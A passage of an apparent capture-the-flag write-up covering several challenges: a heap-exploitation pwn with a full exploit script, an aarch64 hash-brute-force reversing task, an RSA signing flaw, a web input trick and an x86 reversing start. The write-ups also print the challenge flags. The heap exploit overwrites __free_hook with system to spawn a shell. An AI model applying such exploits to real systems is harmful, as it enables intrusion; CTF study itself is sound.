939a309f4a","0bc5c8454d5b3a1054df5d9c1ff38dc0","c91203b96d22b5cb3bdd3b27f0a1f111","e9e6233859c6f5b62532eb760e978178","0d82f46293df813946c1fd6bf159206c","ac448688a38d6f614366bb39cef03eef","93dc00ec08dfb66919f25671523fe612","47f21e690538237b94eeac2ca98ee0b7","088b6256948a64e0f1643be6b072b159","ea01cec409b620a60319291540f614d7","6d25b193f750efba5cd08b2769c0e3a7","4f6b299178369d1ee12b92d9e828bacf","61345b477c5597926af5e6bf36ce0e0a","52aef517cfc57a654ed230ca4c1362d7","c8c204a854409da700158526cae62435","e1cdd4d5caf77c6f3fec87214f5bb9dc","145c3c25998a15749519818bb89c135f","438b5dd73f94a5c5d0d0362ad4a66e6c","46f3a1705af1ebf4d9859b188684fd8a","0475d66adb47f2d47d76c3332b10b7c9","7cfcd6c4d5ad54026e9f537d38b9f59e","039b2e616cc311f44aadfa0c87160883","7cdef375044f36af43db571769536bdf","b1e1b4eead9587bbdff13bf15d197533","7bfb237b4b335c973f3bf7a6dd1cbd32","20dce478a13cec86b93d91a279053fba","33dd8cc72e018ff1c072aa44094b24ca","5ec3331b69725074c0c0774d64275e1f","e6e1729ff202433d82a9a79db3dfbac3","fb75b8d513aeba8a8f77d68f22f99815","b72b90a296d09822fda435208351d399","0186368abd0b3cd1971eb92b22dfa891","240d0624a58b37c76c1c30142ae20c20","1b6986d19e2920b8969eda71c0f06f23","6335c0e4d544e951618e0a2391615620","d882120924e914555016ee516ef8b1f6","5dd36739c264232ce517ef30c69e4020","d44d13f74c644c393daddc806b8effb6","0b347e6704a266e42c74463932e6887c","beec5ab4565cbe1f913a0653234bf996","6f4a0772195bcee71e6554e5e6d06178","256761ab9ec28964531955bad1689db0","8aa2a07a1b6b26dc492110b225e74fa0","cdfc4702005dd5ee08b8fba5400efef2","171582347945021b955f3d9f4bbc3d19","287ec05f16189f349e71e8f5739ff576","cab56c9f5311d74d1716958867abea24","8da48008d6411218ea86ed8d4b2ed3b6","08748849f4347c106f18af768eda9004","d329133ebcfedcc025fde1bf438e3d9f","61c5dd9b0ef3e9193a0b76d0605d8325","ca1bd76a428edc0571f6d4d025c0e5f1","e67f49d0be0c1ca3d15b75ad59dc5286","fba5d4915b188ca14ac29ec613899cdb","a299f56e65ddbadddda8b42d2b2358de","dc295a6371c3612cef283a27e116791d","d2d94c386c355e79016d0c34f7964048","eb6a00da275608fcc6e494bf14ed9a42","8003b4a3745233792a8a64f888b05281","1772180f1b6921354b1dfa2a9287260c","88473fd94b8e70ad46024b443e87e2fe","1b943cbe2b15cfe4fd866cd012912bd0","87e828501e6b82215d52da376fd9eb07","c44673531799a2de7b0344db39c4f1ae","feb0de99e0148fb89301457d8d6183dd","c3ae1a82c5fffb46653ade9aef3374cd","332370cce096416a199132f81c552604","d15a6f84d8176e910e145e9c94888dce","8e7178b0f0bbb42ccdcccfaddff5905e","d6e3c4db0a910736229919317e460925","9bdeea65860ab7ff1b7dba1b93446ccc","d1c82eff6118130af4adfb52963c5d1b","11d2601eab00b6462a39c43012846ab2","f177cef6b70774d36191cc2da5f48a76","3c439c9fd851c489d7e1527ede816560","de7d6a7ecd141bc6cba721b237d5fea4","90294a9ce3e7b02fbe2997e8ea378dff","d72e0b774f76bd6a3ddb823968d217c8","3d5ae0ef52e6f12e2378e83dd45c5b8f","9d72ce79bbaf8aef05d0350203b8da06","81be16218ee6c266773294a0d02d294e","addb2903ff8275d2bcd46ff8308b8e6b","645dbaeaa7dc933079a296bb8f66e083","f374e5a0b750056d00b89bb164970801","de10e4eb59b089d87598ce38f3c2fc9e","9d1bc9288c95a4ea889f437e61e79a15","543fc78ee3d8759c6eec584b7266faca","364d6362838a2b0de8e6482b2be88cc5","7d035f1bbc2f87fc1ccb9166d34f9a24","52eaa4aaed9202a8d4eeced5892af249","523d690bdf5e456e87f8c5a02c6ef0ce","8950b6981b82d6dda8aeb8d58adc9ada","0c5b179b055218ca10675b595b8d25aa","59c8e341cd9f3ebbd53182796506b442","fb04215e976e21486539fca63a559b64","a81861b0313a41d3084fd59da58b6ddf","2578adf8096e9054d7b248b8a8f361cf","33bd9ed361d6132fa027a613d8520bfc","c50bfa8726fd0c941fa49b5c99d2ea0d","154ca97762c31f6dce7aab2fd2dd4464","1c9a10afedd053493cd769d6d285506e","a3c47ecf4e1641a8db7bccb8e94e59c1","0129385b79426e13e24b750fb251b914","7e2daf44701c1356daf09c3fda75043b","e5846a457cc491683b53104df2021bf5","f8df3f2920d49cb3b86c3cb5cca04712","8f6362a7798ac335e5a725093abd06cc","e20d227b4ce6fcc76b8f0c76f6684bea","d7e3a97da001f59263643eb17d017cc8","be8a8dd440b697fac03061912c4021a8","22b001b903ba17c611ba4ed52477ca6b","db89bfdce129d88cf9e0cb7d9fc5c46f","e7769723f8fdbe76e2e1c48d7cddec5e","da3cf19ff1f5ca7fca088ab389b5cff0","0c2887a59682f19aab3012494db3484c","4edd35d8cde21b9695617b1f94076139","af55970f88c5e52a422aeb4b848a7087","77fa572655440cd82db5d42f9e30ca05","6e7a56bf66a07ac42b9a70df1cdac57b","c8652795213654feef519aedafab549c","0269d4b55b3ca1e8db252acf43db1b25","c8da711c93da6f0bd012a46e02c8a391","e00133726009504cbdb9d1697aaad05a","beebc3290e9050f4c8b405a673bb62d6","a1371bbc45894596125c34d9c8515036","ffc2fd64411bd8dc04496505e626bb29","4fe7b41fe37089cf722145b3ab53fd72","042b93b8286f628b5e8083765c4d4a1f","aa775b01118dd41e733ba2d3f3c4bd30","c3e5d248b0ac1c4f5063c4addfe56be9","ee7048a5e23dadd613a556da013dc9f9","88a8935ed4c82c20b1a0e6a02b94c432","7b24d486674fae9f9d182c134a61c4c0","a6af33e066c780b6710518306e2a8ddd","a00b87e316e14a41c8d7988b332ff954","904319188297d0dfed6533c65a4f20bc","44546db5a37f8666a5f5655965dc158a","afe67c388dd12a4943474784be62bf80","e71b8c06fef88758efbfaf0542c18f32","af35dc9ba30af53ab082be2cd763eb2f","87a6a01ec8948d48e7413e6c815e979e","49b44342c19f4d8c5ac214b82ca18d01","d8d8aea73fa72f2c98e7b3b0b5889b6b","4a442985c50d13c3b233b75c93de4595","8a51916019777fb7008318bb0221c6c8","8e53f8838d46fe4aa7e2a89a52f662db","85bb6f314c12f7d74bd62e03215b9153","f276a64fb37fc07c3eed642888332ccd","3d2619f673af2595277601d548059664","2cdfffa1cce47a0f1c103d98010775c3","15acbc1221bf58d5ad7571a8eb35d773","8a1392816509e0ebc42e5bd50792b6a8","73213ef32093bdd8867cbbf3ff4b5c43","24427f6f2e5e3aea08df2d5d04eb31e3","38a2dee8cae9d297855196b48521a774","e322e8836d30fcede0bc4599460570a0","f14b95c1bdd3cdb1f16cd4b03cae42c6","4e74b4d448035455b6da485e99b47a8b","5a889cd08e4bc55319a65aa9a7a75508","c4670d0417bca5fed0568452d4475f2d","99be610f21f7b712164c24d8732abd76","83376b59ba424dd3fb0456801961e107","668c1d8e62bc292ce1ef5b709ea8994f","ea6c08b34f228e10ad5157cd5b550fbe","73a6b98c64c9547fe077ba4d011dbccc","7a50f50ac2b1343aa74b2fcf26fb7a4b","e81b1e29982f3f8dab744b9de6ed3f07","75835b858eac15248772f39fc53eb34d","250bdeb6439df36461c0dd11629735f9","ef88c3e74d9b0e6b8ae895e16a15ba98","fbf35ddef33e6c567b81c6a77023e8d3","537ea975260d29ad418ef4184878d83d","60fe12c00a765af59fba90a2325dd694","aa9126aaa343a4703dd40521f2a4f919","56cb90f8d1c1cf2185c458b3915eaf77","6a9681d9d671b9e8e2b9279db93b9cc0","1826d982863eb441f0f944fff375d459","8d3c19a937665f89faf84f4d5dca8fc5","df95a4ad9a93d9fcb3c8cde5c21919b9","f8172e59c358e958e80ae6cdfaf98cd0","d1ddbe82b534adc606f2c7880bca473a","c6315d205043074b6e24c99678bb8606","db27f5b7975fc23bfb84c769d7da12f5","1ae3ecadf02d6c1ba26b15f92bad611d","8d887a9262277858be3c2cee9f7fc1df","48270138b22931afc183a62e1d77061f","a348d1e3cb8fc29f45650d8e6727d5b5"]

def leak_byte(ptr):
    p.sendlineafter('factory\n', 'v')
    p.sendlineafter('!', hex(ptr))
    donut = p.recvuntil('We')
    final_donut = donut.split(b'\x1B')[-1]
    to_hash = final_donut[:-2] + b"Do"
    hashed = hashlib.md5(to_hash).hexdigest()
    return hashes.index(hashed)

def leakqword(ptr):
    value = ''
    for i in range(8):
        tmp = leak_byte(ptr+i)
        value += chr(tmp) 
    
    return value

Once I had the heap (was given by the program) and libc leak, I was ready to craft a fake chunk inside a big chunk, free it, corupt it's fd pointer, and then obtain a chunk over free_hook. After that, upon freeing a chunk with "/bin/sh" a shell was triggered.

Exploit:

if __name__ == "__main__":

    ################################## EXPLOIT

    xx = create(1, 0x30, '/bin/sh\x00\x0a') # chunk used to trigger shell

    d1 = create(1, 0x800, 'A'*10+'\x0a') # use to leak heap and libc
    heap_base = int(d1,16)-0x16c0
    print 'HEAP >>',hex(heap_base)

    d2 = create(1, 20, 'A'*10+'\x0a') # avoid consolidation

    print 'DESTROYING >>',d1
    destroy(int(d1,16))

    leak = leakqword(int(d1,16)) # leaking libc
    leak = hex(u64(leak))

    libc_base = int(leak,16)-0x1ebbe0
    print 'LIBC >>',hex(libc_base)

    d1 = create(1, 0x800, 'A'*10+'\x0a') # remove big chunk from unsorted

    craftx = create(1, 0x68-2, 'ffff\n') # tmp chunk
    craft1 = create(1, 0x200-2, '\x00'*7 + p64(0)*2 + p64(0x70) + '\n') # allocate chunk to hold fake chunk
    print 'CRAFT >>', craft1
    destroy(int(craftx,16)) # free tmp chunk
    destroy(int(craft1,16)+0x20) # free fake chunk
    destroy(int(craft1,16)) # free big chunk


    craft = create(1, 0x200-2, 'X'*7 + p64(0)*2 +p64(0x70) + p64(int(libc_base)+0x1eeb28-8)*3 + '\n') # reallocate big chunk and corrupt fake chunk's fd

    create(1, 0x68-2, 'Y'*0x18 + '\n')
    create(1, 0x68-2, 'Z'*7 + p64(int(libc_base)+0x0000000000055410) + '\n') # get chunk over free_hook and overwrite with system

    destroy(int(xx,16)+1) # trigger shell

    p.interactive()
  • flag: ptm{N0w_th1s_1s_th3_r34l_s3rv3r!}

Automatic Rejection Machine (19 solves, 217 points)

by JaGoTu

I'm sorry, your flag is rejected.

Author: mr96

We get a challenge file:

$ file challenge
challenge: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, BuildID[sha1]=855fc043635ad0ec0182bdd24b6a38624a704401, for GNU/Linux 3.7.0, stripped

Now is as good time as any to remind ourselves how to run foreign architecture binaries using qemu-user. There are quite a few references online for statically built binaries, but I spent a few minutes staring at aarch64-binfmt-P: could not open '/lib/ld-linux-aarch64.so.1': No such file or directory (I'm partly writing this down for my own future reference 🙃):

sudo apt install qemu-user qemu-user-static gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu binutils-aarch64-linux-gnu-dbg build-essential gdb-multiarch
sudo dpkg --add-architecture arm64
sudo apt update
sudo apt install libc6:arm64

After doing all this magic we can run the binary on our x64 linux:

$ ./rejection 
Automatic Rejection Machine v1.0
Please give me a flag: test
Sorry, your flag is rejected.

And even debug it using gdb-multiarch (I'm using pwndbg):

$ qemu-aarc64-static -g 1234 rejection
$ gdb-multiarch rejection 
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from rejection...
(No debugging symbols found in rejection)
pwndbg> set architecture aarch64
The target architecture is set to "aarch64".
pwndbg> target remote localhost:1234
Remote debugging using localhost:1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
Reading symbols from /lib/ld-linux-aarch64.so.1...
(No debugging symbols found in /lib/ld-linux-aarch64.so.1)
0x0000005501815140 in ?? () from /lib/ld-linux-aarch64.so.1

Reverse engineering the binary starting with main(): it inits two arrays, which I called key and outersalt.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 outersalt[2]; // [xsp+18h] [xbp+18h] BYREF
  _QWORD key[4]; // [xsp+28h] [xbp+28h] BYREF

  outersalt[0] = 0x9E3779B917181920LL;
  outersalt[1] = 0x9E3779B912881288LL;
  key[0] = 0xDEADBEEFFEEDBEEFLL;
  key[1] = 0x1BADB002FACECAFELL;
  key[2] = 0xFEEDFACE08920892LL;
  key[3] = 0xCAFEFEED12401240LL;
  verify_flag(key, outersalt);
  return 0;
}

verify_flag() inits an array of target values, asks for a flag, shuffles the bytes around a bit for added reversing fun, and then generates an array of hashes. If the generated hashes are identical to the target values, it gives a nice smiley face and we should have the flag.

void __fastcall verify_flag(_QWORD *key, _QWORD *outersalt)
{
  char v4; // [xsp+2Fh] [xbp-1091h]
  int i; // [xsp+30h] [xbp-1090h]
  unsigned int flaglen; // [xsp+34h] [xbp-108Ch]
  _QWORD output[256]; // [xsp+38h] [xbp-1088h] BYREF
  _QWORD target[256]; // [xsp+838h] [xbp-888h] BYREF
  unsigned __int8 flag[128]; // [xsp+1038h] [xbp-88h] BYREF

  memset(target, 0, sizeof(target));
  target[0] = 0xB4D8846071AC9EE5LL;
  target[1] = 0x1E1FF00814E134FELL;
  target[2] = 0x6B198E7941B7002ELL;
  target[3] = 0xBC6FA839EFE36443LL;
  /* [...] shortened */
  target[58] = 0x239DCF030B3CE09BLL;
  target[59] = 0x24556A34B61CA998LL;
  puts("Automatic Rejection Machine v1.0");
  printf("Please give me a flag: ");
  __isoc99_fscanf(stdin, "%s", flag);
  shuffle_bytes((char *)flag);
  flaglen = strlen((const char *)flag);
  flag[flaglen] = flag[0];
  flag[flaglen + 1] = flag[1];
  generate_hashes(flag, flaglen, key, outersalt, output);
  v4 = 1;
  for ( i = 0; i < (int)(2 * flaglen); ++i )
  {
    if ( output[i] != target[i] )
      v4 = 0;
  }
  if ( v4 )
    puts("Yay! You can submit your flag :)");
  else
    puts("Sorry, your flag is rejected.");
}

Also we can see that for each character of the flag it generates 2 hash values, as the comparison is done for i from 0 to 2 * flaglen.

Let's take a look at generate_hashes():

void __fastcall generate_hashes(unsigned __int8 *flag, unsigned int flaglen, _QWORD *key, _QWORD *outersalt, _QWORD *output)
{
  signed int curr_offset; // [xsp+48h] [xbp+48h]
  int v11; // [xsp+4Ch] [xbp+4Ch]

  curr_offset = 0;
  v11 = 0;
  while ( curr_offset < flaglen )
  {
    *outersalt = (flag[curr_offset + 2] << 16) | (flag[curr_offset + 1] << 8) | flag[curr_offset] | 0xAABBCCDD11000000LL;
    do_hash(outersalt, &output[v11], key);
    ++curr_offset;
    v11 += 2;
  }
}

It takes 3 characters at a time, ORs them with an inner salt, and then replaces the first element of the outersalt array with it. What this means is we'll always be hashing [0xAABBCCDD11XXYYZZ, 0x9E3779B912881288] where XXYYZZ are the next 3 characters.

The final piece of the puzzle is do_hash():

void __fastcall do_hash(_QWORD *input, _QWORD *output, _QWORD *key1)
{
  unsigned __int64 v3; // x0
  __int64 inp0; // [xsp+38h] [xbp+38h]
  __int64 inp1; // [xsp+40h] [xbp+40h]
  unsigned __int64 i; // [xsp+48h] [xbp+48h]
  __int64 round_key; // [xsp+50h] [xbp+50h]
  __int64 cipher_state[4]; // [xsp+58h] [xbp+58h]

  inp0 = *input;
  inp1 = input[1];
  cipher_state[0] = *key1;
  cipher_state[1] = key1[1];
  cipher_state[2] = key1[2];
  cipher_state[3] = key1[3];
  for ( i = 0LL; i <= 0xF; ++i )
  {
    v3 = i & 3;
    cipher_state[v3] = cipher_state[0]
                     + cipher_state[1]
                     + ((cipher_state[2] + cipher_state[3]) ^ (cipher_state[0] << SLOBYTE(cipher_state[2])));
    round_key = cipher_state[v3];
    inp0 += ((round_key + inp1) << 9) ^ (round_key - inp1) ^ ((round_key + inp1) >> 14);
    inp1 += ((round_key + inp0) << 9) ^ (round_key - inp0) ^ ((round_key + inp0) >> 14);
  }
  *output = inp0;
  output[1] = inp1;
}

Now one observation to make is that the hashing used has no feedbacking - between hashings, no information from the previous hashing is kept, therefore each hashing can be considered completely separately.

I first reimplemented the hashing function 1:1 in python, but while debugging some other issues I had in my code (more on that later), I noticed that the big key is just used to generate 0xF round keys which are then crossingly added/subtracted from the inputs, so I just calculated them once and used them without the addition-xor shenanigans:

round_keys = [3219635032107427007, 6218263913405319823, 10442084089971362336, 269167876992306094, 15170038263011673372, 13552892002036573561, 2440776016958275683, 12200225424595105446, 9413572991142977950, 7501180621166657056, 1449469240296740551, 15523165193068945963, 11895360271610058672, 8006228610147169986, 8511276599127682916, 15596717701864595457]

def get_to_add(round_key, val):
    sumed = (round_key + val) & 0xFFFFFFFFFFFFFFFF
    difed = (round_key - val) & 0xFFFFFFFFFFFFFFFF
    return ((sumed << 9) ^ (difed) ^ (sumed >> 14)) & 0xFFFFFFFFFFFFFFFF

def do_hash(inp):
    inp0 = inp[0]
    inp1 = inp[1]
    
    for i in range(16):      
        round_key = round_keys[i]
        inp0 += get_to_add(round_key, inp1)
        inp0 &= 0xFFFFFFFFFFFFFFFF
        inp1 += get_to_add(round_key, inp0)
        inp1 &= 0xFFFFFFFFFFFFFFFF

    return (inp0, inp1)

def hash_chars(test):
    inp = (test[2] << 16) | (test[1] << 8) | test[0] | 0xAABBCCDD11000000
    return do_hash((inp, 0x9e3779b912881288))

Beautiful ANDing with 0xFFFFFFFFFFFFFFFF everywhere, right?

When we have the hashing function implemented, we can bruteforce the first three characters to match the first target value:

alphabet = (string.ascii_letters + string.digits + '_{}').encode()
for attempt in itertools.product(alphabet, repeat=3):
    res = hash_chars(attempt)
    if(res[0] == targets[0]):
        print("found")
        print(attempt)
        print(list(map(lambda x : hex(x), res)))
$ python3 rejection.py
found
(112, 117, 116)
['0xb4d8846071ac9ee5', '0x1e1ff00814e134fe']

Looking at the second value, it also matches the target. Bingo! (112, 117, 116) corresponds to put. For the rest of the targets, the 3-character window moves by 1, so we can only bruteforce one letter at a time for a faster experience. Here is the full bruteforcing script:

import string
import itertools

targets = [0xB4D8846071AC9EE5, 0x1E1FF00814E134FE, 0x6B198E7941B7002E, 0xBC6FA839EFE36443, 0xC3C71AD9A664B6C3, 0x5692A2F09C98D986, 0xF084A1A59CD01E68, 0xBC52E78A7E4DF2DF, 0xDA219D93290B91A8, 0x5703D0286FA5D32F, 0x6274B1B118DA82B2, 0xA746EBFB0954EBBC, 0x5F6DF7BD4F1967A2, 0x16D5B5BDEE98CF8E, 0x52E8B6DF7E62E39A, 0x99F9455FB0C8D933, 0x05FFD82D53AF933D, 0xFF9084A16FF0141C, 0xE17C5F0781D52F9B, 0x1A0F4431548E51D1, 0xF2E8573D8F0F01DD, 0x250039177F4DEF91, 0x8851491ECBC7AF7C, 0xAD427C6695B91D24, 0x5E0071D97D98D094, 0x264DDA52B0C37B03, 0xA5811271D6D7C428, 0xE0133FC719F34136, 0xE508ACE2412B2633, 0x74321A3E9FACE34C, 0xFF5B8A59E8EBF70B, 0x76275A516F88C986, 0x1604D76F74599CC4, 0xF744BCD8F2016F58, 0xA0B6A7A0239E4EA7, 0xF1EFC57F15CB9AB4, 0xB0D1AD4FB4ED946A, 0x81CA31324D48E689, 0xE6A9979C51869F49, 0xA666637EE4BC2457, 0x6475B6AB4884B93C, 0x5C033B1207DA898F, 0xB66DC7E0DEC3443E, 0xE4899C99CFA0235C, 0x3B7FD8D4D0DCAF6B, 0xB1A4690DB34A7A7C, 0x8041D2607129ADAB, 0xA6A1294A99894F1A, 0xDDE37A1C4524B831, 0x3BC8D81DE355B65C, 0x6C61AB15A63AD91E, 0x8FA4E37F4A3C7A39, 0x268B598404E773AF, 0x74F4F040AE13F867, 0x4DF78E91FD682404, 0xABE1FC425A9A671A, 0x1BB06615C8A31DD5, 0x9F56E9AEF2FA5D55, 0x239DCF030B3CE09B, 0x24556A34B61CA998]

round_keys = [3219635032107427007, 6218263913405319823, 10442084089971362336, 269167876992306094, 15170038263011673372, 13552892002036573561, 2440776016958275683, 12200225424595105446, 9413572991142977950, 7501180621166657056, 1449469240296740551, 15523165193068945963, 11895360271610058672, 8006228610147169986, 8511276599127682916, 15596717701864595457]

def get_to_add(round_key, val):
    sumed = (round_key + val) & 0xFFFFFFFFFFFFFFFF
    difed = (round_key - val) & 0xFFFFFFFFFFFFFFFF
    return ((sumed << 9) ^ (difed) ^ (sumed >> 14)) & 0xFFFFFFFFFFFFFFFF

def do_hash(inp):
    inp0 = inp[0]
    inp1 = inp[1]
    
    for i in range(16):      
        round_key = round_keys[i]
        inp0 += get_to_add(round_key, inp1)
        inp0 &= 0xFFFFFFFFFFFFFFFF
        inp1 += get_to_add(round_key, inp0)
        inp1 &= 0xFFFFFFFFFFFFFFFF

    return (inp0, inp1)

def hash_chars(test):
    inp = (test[2] << 16) | (test[1] << 8) | test[0] | 0xAABBCCDD11000000
    return do_hash((inp, 0x9e3779b912881288))

known = b"put"
i = 2

alphabet = (string.ascii_letters + string.digits + '_{}').encode()
while True:
    for attempt in itertools.product(alphabet, repeat=1):
        res = hash_chars((known[-2],known[-1]) + attempt)
        if(res[0] == targets[i] and res[1] == targets[i+1]):
            known += bytes([attempt[0]])
            print(known)
            i +=2
            break

$ python3 rejection.py
b'put0'
b'put05'
b'put05m'
b'put05m{'
b'put05m{l'
b'put05m{l_'
b'put05m{l_c'
b'put05m{l_ch'
b'put05m{l_chm'
b'put05m{l_chmn'
b'put05m{l_chmn3'
b'put05m{l_chmn3u'
b'put05m{l_chmn3u_'
b'put05m{l_chmn3u_m'
b'put05m{l_chmn3u_m5'
b'put05m{l_chmn3u_m50'
b'put05m{l_chmn3u_m50l'
b'put05m{l_chmn3u_m50l5'
b'put05m{l_chmn3u_m50l5c'
b'put05m{l_chmn3u_m50l5ck'
b'put05m{l_chmn3u_m50l5ck_'
b'put05m{l_chmn3u_m50l5ck_5'
b'put05m{l_chmn3u_m50l5ck_5}'
b'put05m{l_chmn3u_m50l5ck_5}y'
b'put05m{l_chmn3u_m50l5ck_5}y7'
b'put05m{l_chmn3u_m50l5ck_5}y71'
b'put05m{l_chmn3u_m50l5ck_5}y71r'
b'put05m{l_chmn3u_m50l5ck_5}y71rp'
b'put05m{l_chmn3u_m50l5ck_5}y71rpu'
Traceback (most recent call last):
  File "rejection.py", line 36, in <module>
    if(res[0] == targets[i] and res[1] == targets[i+1]):
IndexError: list index out of range

Who needs bounds checks when you can while True your way to an IndexError 🙃

That doesn't look too flag-ish, but no worries, we still have the shuffle_bytes() function to reverse. At this point, I didn't feel like reversing the substition array the code uses, so I got the permutation dynamically by feeding in abcdefghijklmnopqrstuvwxyz012345:

pwndbg> b *0x5500001270
Breakpoint 3 at 0x5500001270
pwndbg> target remote localhost:1234
[...]
pwndbg> 
Breakpoint 1, 0x0000005500001270 in ?? ()
pwndbg> x/s $x0+0x38
0x5501812eb8:	"albgefdhijkcmwyprqstvxnuo3210z45"

Now we're just another small python script from the flag:

plain = "abcdefghijklmnopqrstuvwxyz012345"
swapped = "albgefdhijkcmwyprqstvxnuo3210z45"

flag = "put05m{l_chmn3u_m50l5ck_5}y71rpu"

result = ''

for c in plain:
    result += flag[swapped.index(c)]

print(result)
$ python3 deswap.py
ptm{5m0l_chunk5_5m0l_53cur17y}pu

So we just strip the last two characters and submit the flag!

Mistakes were made

From the moment I downloaded the challenge to flag took me 2 hours and 40 minutes. Most of that time was occupied by 2 simple but critical mistakes I made.

First of all, when rewriting C calculations to python, you have to somehow deal with fixed-bits integers - in C all calculations will inherently be limited to 8/16/32/64 bits while python will let your integers go big. As you've seen, I choose the "easiest" of the solutions to this problem, which could be summed up by this image:

Sprinkling &0xFFFFFFFFFFFFFFFF meme

I just "strategically" sprinkle &0xFFFFFFFFFFFFFFFF at positions where I feel like a cropping is necessary. Turns out my feelings aren't always the best. I introduced a bug by writing this code:

inp0 += ((round_key + inp1) << 9) ^ (round_key - inp1) ^ ((round_key + inp1) >> 14)
inp0 &= 0xFFFFFFFFFFFFFFFF

Spot the mistake? The first member of the xor is fine, it will shift in zeros from the right and will eventually get cropped. The second member of the xor is fine, it will get cropped too. However, in the third member, round_key + inp1 can be (and will be) bigger than 64-bit, but the >> 14 will shift those additional bits (that should be gone already) in! I fixed it by sprinkling more &0xFFFFFFFFFFFFFFFF as you can see in the final code. I promise I'll try to look into a BitVector library for future CTFs! 😅

The second critical mistake I made was even dumber: in what is an unexplainable bad judgement I used itertools.combinations_with_replacement to generate the possibilities instead of itertools.product. I mean, the bruteforce was faster with just combinations, but it came at the cost of never finding the correct input, which is not a good deal.

So, how long did I exactly spend on those mistakes? Here is a timeline in my local timezone:

21:04 challenge downloaded
21:48 uncropped shift introduced
22:20 uncropped shift fixed
22:25 itertools.combinations_with_replacement introduced
23:28 itertools.product used
23:43 flag

babysign (71 solves, 88 points)

by Qyn

It's just a warmup, don't take it too seriously.

Author: mr96

We're given the source code of the signing server. With the fourth option, we can sign the flag + msg where we control the msg. The sign function just takes the last 32 bytes of flag + msg, throws it into sha256 and xors that with the first 32 bytes of flag + msg. It then uses this input to calculate the RSA signed value, result^d mod N:

sign = pow(bytes_to_long(sha256(m[1]).digest())^bytes_to_long(m[0]), d, n)

We can simply reverse this by taking this result and do pow(result, e, n). This will give us the xored result from before. We simply just need to xor it again with the sha256 of our input, assuming len(flag) <= 32.

from Crypto.Util.number import bytes_to_long, getStrongPrime, inverse,long_to_bytes
from hashlib import sha256
flagLeng = 24

N = 26520200839907055488316900583204285981096861449535524257579603735444426331226184269474825392935096863722852126610269098774369075650068933756649212271510912207692140738001791464019224867356444767663936263428540368608762519547695352714372772499512068858323845470385756463343301331688657568171139448599032845049772793164181880735755191266201572758136910165497495897432705474435202322032306872202910217339382027879038357022082284577350121565904195113734993556940514887057412280613496527742285807768927998107880174981931453581118627787927035630482255765205043939406988081270187323381301912680105462776748677828089931025201
e = 65537


enc = 0x5a9e5df27d97143f723258817c69f38ac5f95edc959f2e9861736412f3bec772db62c916dec57b5608162cb32f1b82e0900fa8d335cd03a0ee064746985b97ef552fea4aafbf6770fe3420dad0f7710481ad09fcb921682b7ea95b56b1415f48d1623d80fd28276ca63faab5c6eb45696f270a3e29e7a6be474f6fa7ddbaf13b8e75c0be9a3d45149ed3d031a74c3f3c6265c87df0b7bdc3939753093a8dfeefaf4ffac0727c75b1e3d3fc9c0aea187dee8eaf6fe31c79eb3fde9415834ac5abecd41a62b07cb5344e7c628c88123c948dc1b612e9d66eb017a0538a74b22f7afab1dd1d3ef67a9cb8cbd0a8406abce55bee029b10121d5aa5a81e1ca638e2c7


dec = pow(enc,e,N)

m = bytes_to_long(sha256(b"A"*32).digest())

from hashlib import sha256


print(long_to_bytes(dec ^ m))

#ptm{n07_3v3n_4_ch4ll3n63}

This will give us the flag:
ptm{n07_3v3n_4_ch4ll3n63}

Key-Lottery (116 solves, 70 points)

by Qyn

Just guess the correct key an you'll win a flag!

Author: mr96

We're given the source code of the server and we see that we have to guess a random sequence of 32 characters to get the flag.
Guessing the sequence is obviously impossible, but we can see that we maybe able to leak the sequence because of this:

return f"got empty key set: {repr(key_set)}", 400

To get here, we can simply use as input ,,,, because it will will pass the first check of if keys.startswith(","): and remote the first ,, then it will go here: if keys.endswith(","):, and remove the last ,, leaving us with just , passing if len(keys) == 0:, since len(keys)=1. Then the last line: keys = set(keys.split(",")) - {"", } will split by , and remove all empty lines, leaving us with nothing in keys.
So using ,,, as input gives us our sequence of random characters, which we then can use to get the flag: ptm{u_guessed_it_alright_mate}

PeTaMorphosis (25 solves, 179 points)

by JaGoTu

Just another rev.

Author: a_sin

We get a chall file and an out file:

$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a944a49767163c0ab20ac235146867045414c0d4, for GNU/Linux 3.2.0, stripped
$ file out
out: data
$ xxd out
00000000: bfb0 d0df 1068 feaa 8a5f b602 356a f049  .....h..._..5j.I
00000010: 488c 31d0 d2d8 b094 1eb8 0cbd 5854 15d6  H.1.........XT..
00000020: c80f 98e4 3d10 c0                        ....=..

Let's start with static analysis:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbx
  __int64 v4; // rax
  int v5; // ebx
  __int64 v6; // rax
  _BYTE v8[512]; // [rsp-428h] [rbp-430h] BYREF
  _QWORD v9[67]; // [rsp-228h] [rbp-230h] BYREF
  __int64 v10; // [rsp-10h] [rbp-18h]

  v10 = v3;
  v9[65] = __readfsqword(0x28u);
  std::ifstream::basic_ifstream(v9, "flag.txt", 8LL);
  std::ofstream::basic_ofstream(v8, "out.txt", 16LL);
  if ( (unsigned __int8)std::ifstream::is_open(v9) != 1 )
  {
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Flag file 'flag.txt' not found");
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    v5 = -1;
  }
  else
  {
    std::istream::read((std::istream *)v9, flagbuff, 39LL);
    std::ifstream::close(v9);
    if ( (unsigned int)unprotect_subs() == -1 )
    {
      v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Something went wrong");
      std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
    }
    process_with_victs();
    reorder_buff(flagbuff, 39);
    modify_subs();
    process_with_victs();
    std::operator<<<std::char_traits<char>>(v8, flagbuff);
    std::ofstream::close(v8);
    v5 = 0;
  }
  std::ofstream::~ofstream(v8);
  std::ifstream::~ifstream(v9);
  return v5;
}

Apart from basic flag reading, the first suspicious sub is the unprotect_subs():

int __fastcall unprotect_subs()
{
  int v1; // [rsp+Ch] [rbp-24h]

  v1 = getpagesize();
  if ( mprotect((char *)vict_1 - (unsigned __int64)vict_1 % v1, v1, 7) == -1 )
    return -1;
